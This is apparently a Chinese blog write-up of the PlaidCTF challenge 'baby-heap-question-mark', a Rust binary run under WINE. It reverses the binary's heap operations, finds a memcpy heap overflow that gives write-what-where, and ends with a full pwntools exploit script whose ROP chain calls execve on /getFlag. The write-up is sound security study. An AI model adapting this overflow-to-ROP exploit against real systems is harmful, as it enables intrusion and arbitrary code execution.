PlaidCTF-baby-heap-question-mark

真的好久好久都没写过博客了,感觉还是得是不是用博客这个形式来记录一些重要的信息

baby-heap-question-mark

这个题目虽然是一个Rust Pwn,但是感觉本质上和另一个Rust Pwn差的还是很远的。(如果我能把另一个做出来的话,就也更新上来)

程序逆向

其实Rust的逆向一半的内容得靠猜,因为存在变量复用的现象,下文会提到这点。
首先运行exe,可以看到是一个很经典的堆题:

1
2
3
4
5
6
7
Storage: []
1. allocate
2. drop
3. read
4. write
5. quit
choice?

每当我们多申请一个堆的时候,Storage这里的显示就会发生变化:

1
2
3
4
5
6
7
Storage: [*]
1. allocate
2. drop
3. read
4. write
5. quit
choice?

不难想象,这里应该有一个内部的数据结构用于存储分配的内存。
当我们释放一个内存对象的时候,它会变成这样:

1
2
3
4
5
6
7
Storage: [.]
1. allocate
2. drop
3. read
4. write
5. quit
choice?

其他的操作就和普通的堆题差不多了。
了解运行逻辑之后,直接进行逆向。代码里面有多个类似vec的结构体,大概长这样

1
2
3
4
5
6
struct my_raw_vec
{
int64 target_size;
char *ptr_buffer;
int64 buf_cnt;
};

allocate这个操作中,分配内存操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 do
{
if ( total_raw_vec.capacity == now_total_size )// add middle
{
if ( read_size_ )
{
new_element = malloc_new_elemn((__int64)read_size_, 1i64);
if ( !new_element )
raise_msg();
capacity_1 = total_raw_vec.capacity;
if ( total_raw_vec.capacity != total_raw_vec.buffer_end )
goto LABEL_52;
LABEL_51:
extend_mem(&total_raw_vec, capacity_1);
capacity_1 = total_raw_vec.capacity;
}
else
{
new_element = 1i64;
if ( total_raw_vec.capacity == total_raw_vec.buffer_end )
goto LABEL_51;
}
LABEL_52:
raw_vec_1 = total_raw_vec.ptr_buffer;
capacity_idx = capacity_1;
total_raw_vec.ptr_buffer[capacity_idx].target_size = (__int64)read_size_;
raw_vec_1[capacity_idx].ptr_buffer = (char *)new_element;
raw_vec_1[capacity_idx].buf_cnt = read_size_;
++total_raw_vec.capacity;
goto LABEL_2;
}
now_total_size_ = now_total_size * 24 + 24;
}
while ( total_raw_vec.ptr_buffer[now_total_size++].ptr_buffer != 0i64 );

其实它的allocate有两种模式,这边我们挑一种来讲(漏洞会涉及)。这里会提到一个大小为24字节的结构体就是前文讲的struct my_raw_vec
首先最外围的大循环的逻辑,加上 total_raw_vec.capacity == now_total_size逻辑,结合起来其实就是检查这个total_raw_vec,其中是否存在一个空的指针。如果不存在的话(也就是我们只有allocate操作,没有drop过),此时会先申请一个用于存放我们数据的堆块element,再扩张vector。并且之后将这个新的element存放在新扩展出来的出来的total_raw_vec中。
如果我们大致用伪代码描述以下,大概是如下的逻辑:

1
2
3
4
5
6
// 先申请一个element
Elem* e = new Element();
// 然后扩展vector
vector.extend(1);
// 最后存入vector
vector[new_idx] = e;

漏洞点

这个程序其实最大的问题在于逆向,当逆向完成了一个操作之后,其他的逻辑基本上也就完成了。这里我们直接介绍漏洞操作,也就是write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
write_read(&read_data, (__int64)"data? size? \n", 6i64);// hear is "data? " so it read data from console
buffer = read_data.ptr_buffer;
now_ptr_1 = check_utf8_valid(read_data.ptr_buffer, read_data.buf_cnt);
if ( (v19 & 1) != 0 )
{
v46 = 1i64;
goto LABEL_68;
}
my_data_num.flag = 3;
IOStruct.my_vec.elem_idx = 0i64;
IOStruct.my_vec.now_ptr = (__int64)now_ptr_1;
IOStruct.my_vec.capacity_ = v19;
IOStruct.my_vec.now_size = 2i64;
IOStruct.my_data_num = &my_data_num;
get_input_data((my_raw_vec *)(&v47 + 14), &IOStruct);// get input data from IOStruct into dst

Rust编译的时候,有时候会将一些可见字符拼接再一起。如上,他这边的翻译极具误导性,会给人一种write操作会读入数据,并且需要我们指定大小的错觉。然而实际上,这个题的write只需要我们输入数据。并且这个题目输入的数据是需要被反序列化的。举个例子,当我们输入:

1
0101

此时写入到我们指定内存的其实是\x01\x01,而不是字符串。因此此时输入的长度一定要是偶数
回到逻辑,上述代码主要就是将我们输入的数据读入一个叫做read_data的临时变量,并且通过调用check_utf8_valid确认其是否合法,同时返回了一个指向有效字符串起始地址的指针。并且在最后使用get_input_data将我们的输入读入了一个地址。这个地址的变量我们之后命名为dst

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
target_size = dst.target_size;
ptr_buffer_1 = dst.ptr_buffer;
cnt = dst.buf_cnt;
if ( read_data.target_size ) // here is reading size
j_free_last_ptr(buffer, read_data.target_size, read_data.target_size >= 0);// free reading buffer
v50 = HIDWORD(target_size);
if ( idx < total_raw_vec.capacity )
{
target_buffer = total_raw_vec.ptr_buffer[idx].ptr_buffer;
if ( target_buffer )
memcpy(target_buffer, ptr_buffer_1, cnt);
}
if ( target_size )
j_free_last_ptr(ptr_buffer_1, target_size, target_size >= 0);
break;

接下来的漏洞利用部分就很简单了,首先我们可以看到,这个地方调用了memcpy,而这边的cnt来自于dstdst本质上也是一个向量,而且其就是前文提到的用来存放读入数据的一个变量。也就是说,上述逻辑翻译一下就是:将输入的字符串全部拷贝到目标内存。那这就有了一个妥妥的堆溢出了。

利用

WINE的一些基础知识

这个点也是队友给我科普的,首先WINE全程可以是Wine Is Not an Emulator(乐),本质上是让exe能够在Unix操作系统上运行的一个环境。注意,它不是虚拟机,所以并不具备虚拟机的一些基本特性。

不变的基地址

除了msvcrt.dll之外,所有的模块,包括堆和栈,都没有开ASLR。所以一旦确认了远程地址的这些偏移,可以直接用起来。(注意,包括exe在ida里面显示的地址,都是不变的)

模拟的PE头

如果存在一些检测PE头的逻辑,是可以通过的。虽然这些dll之类的本质是.so,但是构建的时候,会预先额外构建一个PE头。

调试

理论上也是可以直接调试的。运行指令为 wine simple_server_target.exe,然后再用gdb attach到对应的进程即可。

奔溃现场

WINE程序有一个特别之处就是,如果我们让程序奔溃了,它会打印当前的上下文出来。例如

一些技巧

有一个叫做VIRTUAL_SetForceExec的存在ntdll.dll.so的函数,可以让所有可写的映射变成可执行!这样会让利用更加简单。
可以通过调用NtSetInformationProcess函数来控制,也可以从这个函数处找到这个SetForceExec的地址

根据上面的小tips,我们可以得知对于本题的一个重要的提示:除了msvcrt.dll.so,所有的地址都是固定的。换句话说,假设我们能够拥有一个内存越界读,只要能泄露一次地址,之后的地址就可以反复的使用它。然后,WINE这个程序还有一个特征,当这个程序奔溃的时候,会打印这个程序的上下文!这样很多的地址其实在dump的时候就能够确定了。

回到这个题目,目前为止内存格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+---------------+<-----------------+
| | |
| Data | |
| | |
| | |
| | |
| | |
| | |
+---------------+ |
|
|
+---------------+ |
| | |
+---------------+ |
| Target_buffer +------------------+
+---------------+
| |
+---------------+

那么此时我们就可以通过将target_ptr覆盖成无效地址,并且再次访问这段内存对应的data,从而诱发crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+---------------+
| |
| Data |
| |
| |
| |
| |
| |
| |
| |
| |
+---------------+
| |
+---------------+
|ffffffffffffff +------------------++++++++++++
+---------------+
| |
+---------------+

通过简单的内存布局后,这边是我们修改内存地址之后尝试访问触发的crash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Unhandled exception: page fault on write access to 0xffffffffffffffff in 64-bit code (0x00000003af6cfcd9
).
Register dump:
rip:00000003af6cfcd9 rsp:000000000021fa98 rbp:000000000021fb60 eflags:00010a07 ( R- --O I - -P-C) rax:0000000000015790 rbx:0000000000000000 rcx:ffffffffffffffff rdx:00000000000158a0 rsi:00000000000158a0 rdi:ffffffffffffffff r8:0000000000000040 r9:7fffffffffffffff r10:000000000012000
0
r11:0000000000015898 r12:000000000021fb90 r13:00000001400214c5 r14:0000000000000040 r15:000000000021fb5
0
Stack dump:
0x000000000021fa98: 0000000000000040 0000000000015800
0x000000000021faa8: 00000003af6d5749 000000000021fb90
0x000000000021fab8: 00000001400214c5 0000000140001eb8
0x000000000021fac8: 000000000021fb50 000000000021fb60
0x000000000021fad8: 000000014000190d 0000000000014e70
0x000000000021fae8: 0000000000014430 0000000000000004
0x000000000021faf8: 0000000140004e4a 00000000000152b8
0x000000000021fb08: 000000007bc2aa8d 0000000000000003
0x000000000021fb18: 0000000000000018 0000000000015760
0x000000000021fb28: 0000000000000000 0000000000000082
0x000000000021fb38: 0000000000015800 0000000000000082
0x000000000021fb48: 00000000000158a0 0000000000000040
Backtrace:
=>0 0x00000003af6cfcd9 EntryPoint+0x2fffe3739() in ucrtbase (0x000000000021fb60)
0x00000003af6cfcd9 EntryPoint+0x2fffe3739 in ucrtbase: movsb (%rsi),%es:(%rdi)
Modules:
Module Address Debug info Name (20 modules)
PE 7b000000- 7b3fd000 Deferred kernelbase
PE 7b600000- 7b969000 Deferred kernel32
PE 7bc00000- 7bf3c000 Deferred ntdll
ELF 7d000000- 7d005000 Deferred <wine-loader>
PE 140000000- 14002f000 Deferred baby-heap-question-mark
PE 262250000- 262260000 Deferred api-ms-win-crt-runtime-l1-1-0
PE 26ed50000- 26ed69000 Deferred vcruntime140
PE 30a2c0000- 30a2d0000 Deferred api-ms-win-crt-stdio-l1-1-0
PE 355100000- 35510f000 Deferred api-ms-win-crt-locale-l1-1-0
PE 360a80000- 360a91000 Deferred api-ms-win-crt-math-l1-1-0
PE 39b510000- 39b51f000 Deferred api-ms-win-crt-heap-l1-1-0
PE 3af670000- 3af9dd000 Dwarf ucrtbase
ELF 7f00eb2ec000- 7f00eb30a000 Deferred ucrtbase.so
ELF 7f00eb60a000- 7f00eb780000 Dwarf libwine.so.1
ELF 7f00eb980000- 7f00eb9ab000 Deferred liblzma.so.5
ELF 7f00eb9ab000- 7f00eba92000 Deferred libm.so.6
ELF 7f00eba92000- 7f00ebaad000 Deferred libunwind.so.8
ELF 7f00ebaad000- 7f00ebb49000 Deferred ntdll.so

注意,测试的时候使用的地址一定要是0xffffffffffffffff,之前使用0xaaaaaaaaaaaaaaaa居然是有效地址,不会导致崩溃。。。
由于这个target_ptr可以被修改成任何值,我们就相当于有了一个WWW,也就是write-what-where

之后漏洞利用就很简单了,由于这个程序几乎等于没有开ASLR,于是我们可以利用dump数据,直接算出程序返回值地址。然后通过修改target_ptr指向栈尾部,然后就能直接塞ROP的指令进去了。
然而,一开始我们直接使用溢出攻击的时候,程序会直接崩溃在调用quit指令的时候,原因是我们这边溢出会修改堆的头部,而quit的时候会调用free,所以此时释放堆会发生错误。此时我们可以直接通过gdb调试,把被覆盖的数据抠出来,然后再payload钟直接按照原样写入对应位置。最后可以写出如下的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
from binascii import hexlify

context.clear(arch='amd64', os='windows', log_level='debug')
#r = remote("172.17.0.2",7777)
r = process(['docker', 'run', '--privileged', '--rm' ,'-i', 'my_image'])
"""
PE 7b000000- 7b3fd000 Deferred kernelbase
PE 7b600000- 7b969000 Dwarf kernel32
PE 7bc00000- 7bf3c000 Dwarf ntdll
ELF 7d000000- 7d005000 Deferred <wine-loader>
PE 140000000- 14002f000 Export baby-heap-question-mark
PE 262250000- 262260000 Deferred api-ms-win-crt-runtime-l1-1-0
PE 26ed50000- 26ed69000 Deferred vcruntime140
PE 30a2c0000- 30a2d0000 Deferred api-ms-win-crt-stdio-l1-1-0
PE 355100000- 35510f000 Deferred api-ms-win-crt-locale-l1-1-0
PE 360a80000- 360a91000 Deferred api-ms-win-crt-math-l1-1-0
PE 39b510000- 39b51f000 Deferred api-ms-win-crt-heap-l1-1-0
PE 3af670000- 3af9dd000 Deferred ucrtbase
ELF 7f26a0026000- 7f26a0046000 Deferred libgcc_s.so.1
ELF 7f26a004b000- 7f26a0069000 Deferred ucrtbase.so
ELF 7f26a0369000- 7f26a04df000 Dwarf libwine.so.1
ELF 7f26a06df000- 7f26a070a000 Deferred liblzma.so.5
ELF 7f26a070a000- 7f26a07f1000 Deferred libm.so.6
ELF 7f26a07f1000- 7f26a080c000 Deferred libunwind.so.8
ELF 7f26a080c000- 7f26a08a8000 Deferred ntdll.so
ELF 7f26a08ab000- 7f26a0ad3000 Deferred libc.so.6
ELF 7f26a0ada000- 7f26a0b16000 Deferred ld-linux-x86-64.so.2
"""
# REMOTE = False
# if REMOTE:
# r = remote("bhqm.chal.pwni.ng",1337)
# print(r.recvline())
# r.sendline(input(">").strip())
# else:
# r = process("baby-heap-question-mark.exe")

def allocate(size):
r.sendlineafter("choice?","1")
r.sendlineafter("size?",str(size))

def drop(index):
r.sendlineafter("choice?","2")
r.sendlineafter("index?",str(index))

def read(index):
r.sendlineafter("choice?","3")
r.sendlineafter("index?",str(index))

def write(index,data):
r.sendlineafter("choice?","4")
r.sendlineafter("index?",str(index))
# r.sendlineafter("data?",hexlify(data))
r.sendlineafter("data?",hexlify(data))

for i in range(9):
allocate(24)

pause()
stack = 0x21fc08
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00F\x008\x00E\x009\x00C\x004\x004\x00D\x00\x88\x01\x00\x00USE\x08'
print(payload)
rop_payload = payload + p64(0x18)
rop_payload += p64(stack)
write(8,rop_payload)

pop_rax = p64(0x0000000140008874) # pop_rax
pop_rdi = p64(0x000000014000222c) # pop rdi; ret;
pop_rsi = p64(0x00000003af68655a) # pop rsi; ret;
pop_rdx = p64(0x00000003af6b3fa9) # pop rdx ; add eax, 0x7e0f6600 ; ret
syscall = p64(0x00000003af67bb76) # syscall

addr = 0x0
# prepare write data
rop_payload = b''
rop_payload += pop_rsi
rop_payload += p64(0) # set argv = 0
rop_payload += pop_rdx
rop_payload += p64(0) # set envp = 0
rop_payload += pop_rax # 0x40
rop_payload += p64(59) # execve
rop_payload += pop_rdi
rop_payload += p64(stack+9*8)
rop_payload += syscall
rop_payload += b'/getFlag\0' # give binary
write(0,rop_payload)
# 0x14790+8 save pointer
# 0x14760 save data

r.interactive()

一些碎碎念

这个题本质上我觉得是一个纯的二进制题。这个题其实从侧面突出了这几年pwn的一个做题趋势,就是【不去完全看懂程序逻辑,而是着重于漏洞发现】。举个我逆向中的例子,这个程序有一段拷贝数据的逻辑:

直接看逻辑会有一点莫名其妙:因为在上面的IOStruct中,对应的向量的变量成员和赋值对应的内容可以说是完全无关,而在后面的逻辑中,这些成员又变得合理。这其实是一种变量复用的现象。假设存在如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int func()
{
int a = 1;
puts("input number a");
scanf("%d",a);
a += 1;
printf("a is %d", a);

int b = 2;
puts("input number b");
scanf("%d",b);
b += 3;
printf("b is %d" ,b);
}

对于上述代码,a在代码后方完全没出现过,b也完全没有在前方出现过。此时对于编译器来说,他就有一种选项,也就是让a和b公用一段内存空间。然而此时对于尝试逆向的人来说,就会无法区分这两个变量到底是不是同一个变量。更有甚者,可能会有如下的现象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct Large{
int a;
int b;
};

struct Small{
char c;
};
int func2()
{
struct Big g;
g.a = 1;
g.b = 2;
// ...
struct Small s;
s.c = 'a';
}

上面列出了两个大小不同的结构体,并且同时存在栈上。这种时候,某些编译器甚至会再g的逻辑后,将g的一部分内存直接用于存放s的内容。这种内存覆盖就会对代码的分析造成极大的困惑。
而前阵子和其他队友做题的时候,我也发现,最近的pwn题做起来更像是【先用fuzz等技巧先发现了漏洞,再顺着漏洞往下探索】,很多时候似乎做题的人也没有搞懂逻辑,但是他们就是能把题目做出来,这可能是现代CTF比赛中,pwn题的一种必然趋势吧。
说起来,最近沉迷于探索一些真实漏洞,感觉是不是也可以参照这种思路来思考呢。。?